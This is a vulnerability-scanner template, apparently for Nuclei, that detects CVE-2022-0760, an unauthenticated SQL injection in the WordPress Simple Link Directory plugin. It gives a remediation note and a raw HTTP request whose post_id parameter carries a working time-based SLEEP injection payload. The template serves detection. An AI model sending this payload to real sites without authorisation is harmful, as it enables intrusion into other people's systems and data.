WordPress Simple Link Directory <7.7.2 - SQL injection

id: CVE-2022-0760

info:
  name: WordPress Simple Link Directory <7.7.2 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
  remediation: |
    Update to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
    - https://wordpress.org/plugins/simple-link-directory/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0760
    - https://plugins.trac.wordpress.org/changeset/2684915
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0760
    cwe-id: CWE-89
    epss-score: 0.10825
    epss-percentile: 0.95694
    cpe: cpe:2.3:a:quantumcloud:simple_link_directory:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quantumcloud
    product: simple_link_directory
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,simple-link-directory,unauth,wpscan,quantumcloud,vkev,vuln

http:
  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "vote_status") || contains(body, "critical error")'
        condition: and
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